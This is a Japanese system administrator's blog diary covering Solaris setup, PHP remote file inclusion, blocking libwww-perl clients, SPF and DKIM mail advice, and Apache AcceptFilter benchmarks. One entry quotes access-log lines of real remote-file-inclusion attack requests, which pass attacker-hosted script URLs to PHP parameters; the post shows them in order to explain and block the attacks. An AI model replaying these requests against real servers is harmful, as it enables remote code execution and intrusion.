_ せっかく Solaris なんだから gcc じゃなくて純正コンパイラをインストールしよう。今では Sun Studio もフリーで使えるんだよねぇ。時代は変わったもんだ。……って、昔は別売りじゃなくて OS といっしょにふつーについてきてたんだよな、そういえば。
_ LANG=ja ならインストーラも日本語化されたメッセージを出してくれるのはいいんだけど、ライセンスに同意するかどうかの確認の際、「同意する」を選択させるのではなく、そのとおり「同意する」という日本語の文字列を入力させるってのはどうよ。まだ日本語入力の環境なんかできてねえよ。コピペで済ませたからいいけど。LANG=C だったら accept と入力させてたんだろうけど、そんなところは翻訳しなくていいから。
_ で、コンパイxラが入ったところでインストール祭。コンパイラなんかなくても、ある程度のバイナリパッケージはあるんだけどね。で、自前でコンパイルしてもいいんだけど、最近はとんと根性がなくなったので、pkgsrc を導入してある程度は手を抜くことに。……ぐぁぁぁ、プラットフォームの違いを吸収するはずの libtool が足をひっぱってコケるやつが続出。なにやってんだこいつは。こっちの設定がどこかおかしいのかなぁ。
_ で、やっぱり vmware 重いよ。しくしく。
_ 1.0.0 がリリースされたように見えますが、きっと目の錯覚だと思います。
_ いつまでも 1.0 にならずに release candidate を延々と出し続ける、そんなモラトリアムな存在が dovecot だったはずです。1.0rc32 なんてところでやめるはずありません。
_ php って include("filename") だけじゃなくて、include("http://...") や require("ftp://...") なんてのがデフォルトでできちゃうのよ。スクリプトから読みこまれれる HTML や CSS ファイルや PHP のライブラリを別サーバに置いておけるから便利なんだけど、外部から来た変数をキレイにせずそのまま include() の引数として与えちゃったりすると、リモートから任意のコードを注入できてしまうという超特大の穴があいてしまう。
_ そんなわけで、うちのアクセスログから抜粋。
いずれも上記の穴を探して侵入を試みた跡。こいつらが include()、require() させようとした URL を実際に見てみると、文字どおり外部から好き勝手にファイル操作できるようにするためのスクリプトが置いてある。200.243.10.36 - - [10/Apr/2007:01:14:28 +0900] "GET /d/rss.php?phpraid_dir=http://***.***.**.***/solo/jill.c? HTTP/1.1" 403 211 "-" "libwww-perl/5.805" 201.130.79.64 - - [10/Apr/2007:22:58:32 +0900] "GET /d//?cmd=http://**.***.***.***/img/dog.c? HTTP/1.1" 403 205 "-" "libwww-perl/5.803" 201.17.129.39 - - [11/Apr/2007:02:08:28 +0900] "GET /d//zipndownload.php?PP_PATH=http://**.***.***.***/img/dog.c? HTTP/1.0" 403 221 "-" "libwww-perl/5.5394" 212.9.75.244 - - [12/Apr/2007:10:18:50 +0900] "GET /d//components/com_calendar.php?absolute_path=http://**.***.***.***/img/dog.c? HTTP/1.1" 403 232 "-" "libwww-perl/5.803"_ で、共通点は User-Agent が libwww-perl であること。スクリプトキディの仕業なのか、ワームか何かなのかは不明。ほんとに libwww-perl なのか、偽装してるだけなのかもわからん。だけど侵入目的のアクセスなのは明白なので、404 ではなく 403 を返してこちらの意思を示しているつもり。あっちはそんなステータスコードの違いなんて意識してるはずないし、存在しない URL を叩かれてるし、っつーかそもそもうちには外から見えるところには PHP スクリプトは置いてないから、侵入されるおそれはゼロなんだけどね。
_ こちらでは侵入ツールではなくトラックバックスパムを送りつけてくる迷惑クライアントとして使われてアクセス禁止されることに対して
LWPを悪者にされると、うれしい人より困る人の方が多いのは確かだと思う。ただのHEADをHEAD -H'User-Agent: GoodBot/0.1'と打たなくてはならないというだけでも、システム管理者の手間が増えるというものだ(aliasしろって?それだって手間じゃないか!)。と文句を言ってる。なにを寝言ほざいておるか。代替手段はほかにも腐るほどあるのに、HEAD/GET コマンドが使えないぐらいのつまらないことでごちゃごちゃいうな。本当の問題は、HEAD/GET コマンドではなく、ある程度の規模のプログラム中の部品として lwp を使う場合なのに、ほんとに問題意識を伝えるつもりがあるんだろうか。_ lwp にかぎらず、よそにアクセスするときに自分の名前を名乗るライブラリは珍しくない。というかふつー。IE コンポーネントのブラウザも、元の IE のバージョンが UA に入ってるよね。たいていは名乗りを変えることもできるけど、悪意を持った連中がそれをせずに使うと、こんなふうにあちこちでアクセス拒否されて無実の人までとばっちりを受けて悲惨なことになる。べつに HTTP だけではない。たとえば、 BSMTP.DLLってまっとうなメール送信ライブラリなんだけど、spam 送信に使われることがひじょーに多いので、X-Mail-Agent: BSMTP DLL というヘッダのついたメールは spam でなくても蹴られやすい。
_ この対策として、 user-agentをデフォルトのまま使うのなんて、.confを弄らずに使うダメ管理者みたいなもんと考えるのはどうかというのは、一見合理的な方法に見える。だけどねぇ、それもちょっとなんだかなー。
_ User-Agent ってサーバ側がなんらかの挙動を変更するトリガとして使われることがある。「挙動」というのはアクセス制御だけとはかぎらない。バグとか互換性に問題のある特定のクライアントに対して、それを回避してコンテンツを提供できるようにする目的で使われることもある。たとえば、apache のデフォルトの httpd.conf には
こんな設定が入ってるけど、これぜんぶ問題のあるクライアントに対するサーバ側の workaround。今のところ lwp はそういう問題は見つかってないようだけど、将来もしそういうのが出てきた場合どうするか。デフォルトの User-Agent: libwww-perl を名乗っているのならばこのように BrowserMatch でサーバ側で workaround の設定を入れることも可能だけど、lwp なのに別の名前を名乗ってるものまで網羅するのは不可能。つまり、クライアントライブラリのバグをサーバ側で救済することができなくなる。BrowserMatch "Mozilla/2" nokeepalive BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0 force-response-1.0 BrowserMatch "RealPlayer 4\.0" force-response-1.0 BrowserMatch "Java/1\.0" force-response-1.0 BrowserMatch "JDK/1\.0" force-response-1.0 BrowserMatch "Microsoft Data Access Internet Publishing Provider" redirect-carefully BrowserMatch "MS FrontPage" redirect-carefully BrowserMatch "^WebDrive" redirect-carefully BrowserMatch "^WebDAVFS/1.[0123]" redirect-carefully BrowserMatch "^gnome-vfs" redirect-carefully BrowserMatch "^XML Spy" redirect-carefully BrowserMatch "^Dreamweaver-WebDAV-SCM1" redirect-carefully_ HTTP は User-Agent を名乗るからいいんだよね。
これ、dovecot がおかしなクライアントをサーバ側で救済する設定。似たようものは courier-imap にもある。IMAP は自分がナニモノか名乗らないから、まっとうなクライアントに対しても問題ありを想定せざるを得ない。lwp を使ってるのに lwp を名乗らないと、致命的な問題があったときでもサーバ側では放置するか、lwp とは無関係なクライアントまで巻き込んで workaround を実施することになる。まあ、たぶん前者。ちゃんとライブラリの名前を名乗っておけば、問題が見つかった場合でももしかしたら救済してもらえるかもしれない。imap_client_workarounds = delay-newmail outlook-idle netscape-eoh tb-extra-mailbox-sep_ ただし、これはあくまで将来の可能性のおはなし。現時点では問題なし。そして、現時点ではうちに来る libwww-perl はほぼ 100% 侵入目的なので、遠慮なくアクセス拒否。これがわし個人のサーバではなく、仕事で動かすようなサーバならそんなことはやらんけど。
_ きのうのは 4/12 じゃなくて 4/13 の間違い。いくつかブックマークされてるみたいなので直さないけど。きっと13日の金曜日を無意識に避けようとしたんだと思う(嘘)。
_ freemail.ne.jp がエラーになる件。平成電電がつぶれたせいですね。JT(今はソフトバンクだっけ)が拾ってくれたけど、あえなくサービス終了。平成電電配下のサービスではほかにも try-net.or.jp、hey-say.net が終了してやっぱり届かない。いずれもドメインの登録自体は残ってるけど、NS が死んじゃってるのでメールも Web もアクセス不能になってる。
_ また、平成電電とは関係ないけど、楽天に買収されたメール転送サービス anet.ne.jp も昨年終了してる。こちらは DNS は生きてるけど、ネットワーク的に経路が消失しちゃっている。
_ こういうの困るんだよね。わしがいじってたメーリングリストサーバもキューが溜まりまくり。DNS が腐っていて SERVFAIL が返ってくるような状態だとキャッシュに乗らないから DNS サーバの負荷にもなるし(ゴミみたいな負荷だが)。
_ サービスを終了したらすべてのメールに対して 5xx を返す設定のメールサーバを動かしておいてくれると、送信者に即座にバウンスが返ってありがたいんだけど、サービス終了だというのにそこまで求めるのは酷という気がしなくもない。でも、ドメインを維持しているのであれば、せめて DNS から MX を抜いて、そのドメインにメールを送ろうとしたら NXDOMAIN が返ってくるようにしてくれんかなぁ。MTA の設定にもよるけど、NXDOMAIN ならばキューに溜まらず即バウンスさせることもできないわけじゃないんだから。終わったサービスだといっても、終了後のケアがされないと、送れないメールがキューに溜まるばかり。
_ 参考までに、postfix では tranport_maps で
という設定を入れておくと、該当ドメイン宛のメールはただちにバウンスするようになる。どーしても腹に据えかねる場合はどうぞ。freemail.ne.jp error:
_ SMTP - SPF導入のすすめ。 うーん。他人の間違いにはわりと寛容なつもりなんだけど、「以下の下りは完璧に間違っています」と指摘している文章が、ほんとに理解してるのか首をかしげたくなるってのはどんなもんか。
_ つーか、「完璧に間違っています」と言ってるわりには、どこが間違いなのか指摘してないよね。 あの説明は素人さん向けに噛み砕いて説明しようと苦心したあげくにわかりにくくなってしまった感はあるけど、完璧に間違ってるというほどまではおかしくないと思うんだがなぁ。SPF 導入のすすめ、というタイトルにするのならば、間違いを正し、SPF が送信ドメイン詐称をどうやって判別するかといういちばん重要なところを人まかせにリンクするのではなく、ちゃんと解説した方がよかったんじゃないかなぁ。
_ それはともかく。
実はMTAレベルでなくMUAレベルでもSPFを使う事ができるのです。ええええぇ? Received ヘッダを厳密に解析して送信元 IP アドレスを正しく抽出できれば、まあ MUA でもできなくもないけど、Received ヘッダの書式っていちおう規定はあるけどほとんどフリーフォーマットみたいなもんだからかなりめんどう。それが不可能とまではいわないけどね。SpamAssassin では実際にそれをやってるわけだし。Fromを見てSPFのQueryを行えばいいので、フィルタープログラムを書けば、サーバー単位ではなくユーザー単位での対応も可能なわけです。この From がヘッダ From のことを言ってるのならば、それは SPF ではなく SenderID (PRA) の間違い。クラシック SPF はヘッダではなくエンベロープ From を見るけど、エンベロープ From ってユーザが見るときに残ってるとは限らない。最近だと Return-Path: に入ってることが多いけど、100% そうとは断言できない。そういう場合には SPF 判定を MUA でやるのはどんなにがんばっても無理(PRA ならば Received からの IP アドレス抽出をがんばれば可能)。_ とにかく、SPF ではエンベロープ From と送信元 IP アドレスを使って判定するので、この両方を知ることが不可欠なんだけど、どちらも MUA では確実に取得できるとはかぎらないのがネック。そういう意味では、MUA で確実に入手できる情報だけしか判定に使わない DomainKeys/DKIM の方が SPF/SenderID よりも MUA での対応は簡単。MUA でも簡単といっても、DNS への問い合わせが必要なのでオフラインな環境で DomainKeys/DKIM の判定をするのは無理だけど(DKIM の方は将来的には DNS 以外の手段が用意されるかも)。
_ ケチをつけるのは終わり。以下、世のメールサーバ管理者のみなさまにお願い。
_ SPF の発信者側の設定はカンタン、とはよく言われること。たしかに、TXT レコードを DNS に載せるだけなので技術的にはちっともめんどうなことはない。でも、政治的にめんどうなんだよね。つまり、「SPF で登録したホスト以外からメールを送らないで」ということをユーザに周知徹底しなきゃいけない。社外からメールを送れるサーバを用意して(もちろん POP before SMTP は論外)、外出先や出張先からメールを送ったりする営業さんには ISP のメールサーバではなくそちらを使ってもらうよう徹底する。大きな会社では社内サーバとは別にどっかの部署が野良サーバを動かしててそこから送ってるかもしれないからぜんぶ調査して潰す。さらに忘れられやすいのが Web サーバ。メール送信する CGI が動いてたりすると、こいつも SPF レコードに追加するか、正規のサーバを中継させるよう設定変更する必要がある。SPF じゃなくて DKIM でも同じ。DKIM 署名をおこなうホストを通らないメールがないように徹底しなくちゃいけない。各部門に対してそういう根回しをおこなった上でやっとはじめられるんだよね。すごく大変。でも、がんばって導入してね。見返りはほとんどないけど。
_ でも、根回し不要で簡単に導入できるものもある。こっちの方はすぐにでもやってほしい。「メールを送らないホスト」に SPF を設定してください。example.com に SPF を設定して他人がドメインを詐称できなくなったとしても、sub.example.com を詐称することは依然として可能。これはよろしくない。ありそうなサブドメインならば詐称される恐れは十分にあるので、
というレコードを設定して、そのサブドメインからメールを一切送らないということをアピールしてください。sub.example.com. IN TXT "v=spf1 -all"_ そういうレコードがちゃんと設定されている例には IBM がある。ここは部門ごとだか地域ごとだかにサブドメインで運用されていて(たとえば日本 IBM は jp.ibm.com)、サブドメインのない ibm.com でやりとりされるメールというのは実は存在しないらしい。だから、
と、もしサブドメインなしの ibm.com からメールが来たらぜんぶ詐称だよ、とはっきり宣言している。ibm.com. 600 IN TXT "v=spf1 -all"_ ふだんメール送信に使っているドメインの詐称対策だけでなく、使わないドメインも詐称されないようにすることも重要。忘れられやすいことだけど、騙られそうな、騙られたらまずいサブドメインがあったら SPF を設定しておいてください。メールが出ないサブドメインであれば周知も根回しも最低限で済むはずなので簡単だと思う。
_ とゆーわけで、Microsoft は microsoft.com だけでなく、support.microsoft.com にも SPF レコードを設定しやがれです。
_ MUA で SPF 判定するのはなんだかなーと書いたが、そういえば Thunderbird の拡張でそれをやっちゃうものがあるのを思い出した。んーと、 これか。わしの記憶では SPF だけだったんだが、DomainKeys にも対応してるな。わしの知らんうちに機能追加されたのか、それともわしの記憶とはまったく別の実装なのかどっちだろ。
_ いずれにしても、きのう書いたとおり SPF では Received ヘッダから IP アドレスを確実に取り出すというめんどうかつ間違いの混入しやすい作業を内部でやるわけだし、さらに この拡張は IP アドレスの抽出とは別のところで実装がおかしいと山本かずさん(だったかな?)が1年ぐらい前に言ってたので、あまり信用しないほうがよさげ。まあ、今は直ってるかもしれんし、そもそもわしの記憶と違う実装ならば元から間違ってないかもしれんけど。
_ MUA で SPF 判定することが困難なものに、もうひとつ HELO がある。あんまり知られてないけど、SPF って規格は MAIL FROM だけじゃなくて HELO/EHLO で名乗った名前に対しても SPF の判定をするんだよ。MUST じゃなくて RECOMMENDED だけど。でもね、HELO なんて MUA じゃ拾えない。Received の中に () で括って HELO を入れる MTA は多いけど、() ってコメントだから、無視しなきゃいけない情報だし。
_ と、まあそういうわけで、MUA では厳密に SPF を判定しようとすればするほどやっかいなんです。運よく情報が拾えたら判定するよ、程度のぬるいものにならざるを得ない。
_ ちなみになんで HELO を使うかというと、バウンスメール、つまり MAIL FROM:<> のようなドメインパートの空っぽのメールも SPF で扱えるようにするため。バウンスメールを送るホストが HELO で名乗る名前についても SPF レコードを書いておくと、正当なホストがバウンスを送ってきてるのか、HELO を詐称してバウンスを装った spam を投げようとしているのか判別できるようになります。どうせ RECOMMENDED だし効果はほとんどないだろうけど。
「当社のメールサーバーが何者かに不正使用され、大量の迷惑メールを送信していた」。へー。
こんな主旨の社告を見たり、お詫びの連絡を受け取ることが増えている。日本経済新聞社のサーバーが外部の何者かに不正使用され、大量の迷惑(スパム)メールが不特定多数の人に送信されていたことが4日、明らかになった。なるほど、たしかに。
_ といっても一発でバレるようなものではなく、チャレンジとレスポンスの組み合わせをけっこうな数収集してやっと実現できるものらしく。 このへんを読むと、コリジョンを起こさせるにはチャレンジ文字列に細工しなきゃいかんように読めるんだが、解釈にいまいち自信ない。これがどっちかによって深刻さは変わってくるんだけど。
_ チャレンジの細工なしでパスワード解析可能ならば、通信路の盗聴ができれば流れるパケットを漫然と収集してるだけでユーザに気がつかれずにパスワードを解析できちゃうことになる。一方、チャレンジに細工が必要ならば、攻撃者は通信路を乗っ取った上で偽チャレンジを返すサーバを動かす必要があり、しかも偽サーバとのログインセッション後に本来のサーバにプロクシ/リダイレクトすることはできないので、解析に十分なデータを収集される前にユーザの方がおかしいことに気がつくだろう。前者ならばもはや平文認証よりほんのちょっとだけマシなレベルでしかないが、後者ならば理論的な脆弱性ではあるが現実的な脅威にはならんような気がする。
_ が、根本的に理解してるわけではないので誤解してるかも。じっさいのところどうなんだべ。暗号はよくわからん。
_ apache 2.2 のマニュアルを頭から読んでいっていちばん最初に出てくるモジュールのいちばん最初に出てくるディレクティブが AcceptFilterというもの。HTTP のリクエストが完了するまで httpd に渡さず、カーネル内でバッファリングしてパフォーマンスを上げる、というシロモノらしい。
_ が、ぐぐってみても accf_http.ko をロードしてなくて警告が出た、とかそんな感じの日記ばっかりひっかかって、実際どれだけ速度向上に効果があるのかの記述が見つからんのだよ。
_ というわけで、実験してみた。
_ FreeBSD 6.2、PenIII 800MHz、mem 256MB でほかにもごちゃごちゃいろんなプログラムが動いている遅いマシン。apache2.2.4 は ./configure --with-included-apr で野良ビルドしたもの。設定ファイルは make install したときの httpd.conf に AcceptFilter http hoge だけ追加したものを使用。つまり何のチューニングもしてません。
_ 負荷は以下でかける。
並列10アクセス、計10000アクセス、keep alive なし。index.html は apache2.2 のおまけについてくる It works! とだけ表示される44バイトのもの。httpd と ab が同じホストで実行されていること、リクエストしてるファイルのサイズが非常に小さいことに注意。% ab -c 10 -n 10000 http://127.0.0.1/index.html_ 結果。
何回か試してみたけどだいたいこんな感じで。httpready (accf_http.ko) と dataready (accf_data.ko) はほとんど同じで、none の場合より 2.5% 程度速いと。なんだそんなもんかぁ。専用のカーネルモジュールがあるぐらいだからもっと劇的に速度向上してるのかと思った。ちょとがっかり。
- AcceptFilter http httpready
Requests per second: 818.15 [#/sec] (mean) Time per request: 12.223 [ms] (mean) Time per request: 1.222 [ms] (mean, across all concurrent requests) Transfer rate: 230.06 [Kbytes/sec] received- AcceptFilter http dataready
Requests per second: 822.22 [#/sec] (mean) Time per request: 12.162 [ms] (mean) Time per request: 1.216 [ms] (mean, across all concurrent requests) Transfer rate: 231.21 [Kbytes/sec] received- AcceptFilter http none
Requests per second: 800.46 [#/sec] (mean) Time per request: 12.493 [ms] (mean) Time per request: 1.249 [ms] (mean, across all concurrent requests) Transfer rate: 225.09 [Kbytes/sec] received_ 同じことを Linux で。Celeron 2GHz の WinXP 上で動作する coLinux な Debian etch。coLinux へのメモリ割り当ては 128MB。colinux の中ではよけいなプロセスはあんまり動いてないけど、親環境の Windows ではへんなものが大量に動いてる。Apache は FreeBSD の場合とまったく同じ方法でソースから野良ビルドしたもの。ab も同じように 127.0.0.1 で。
こっちは 5% ほど差がついた。実験環境がまったく異なるので FreeBSD との比較はできません。
- AcceptFilter http data
Requests per second: 550.46 [#/sec] (mean) Time per request: 18.167 [ms] (mean) Time per request: 1.817 [ms] (mean, across all concurrent requests) Transfer rate: 154.29 [Kbytes/sec] received- AcceptFilter http none
Requests per second: 521.82 [#/sec] (mean) Time per request: 19.164 [ms] (mean) Time per request: 1.916 [ms] (mean, across all concurrent requests) Transfer rate: 146.21 [Kbytes/sec] received_ なお、今回の実験に使ったのが通常のブラウザではなくベンチマーク専用の高速クライアントで、かつネットワークの速度を無視できる 127.0.0.1 からのリクエストだったことを頭に入れておく必要がある。リクエストをカーネル内にバッファリングして高速化するわけなので、リクエストがもともと短時間で完了してしまうような場合は効果があらわれにくい可能性がある。ネットワークごしにふつーのブラウザでアクセスすると、接続してからリクエストが完了するまでの時間がもっと長くなるので、この実験よりも大きな差が出たかもしれない(ほんとのところはどうだか知らん)。
_ ちなみに、今回は試してないし今後も試すつもりもないけど、Apache 1.3 でも AcceptFilter は使える。2.0.x だけなぜか使えないんだよね。
_ むしろ驚いたのは AcceptFilter の効果よりも、coLinux って意外と性能が出ないんだなー、ということ。2GHz の仮想 OS よりも 800MHz のネイティブ OS の方が圧倒的に速いんですか。coLinux のしくみからしてオーバーヘッドはそんなに大きくないと思ってたんだけど。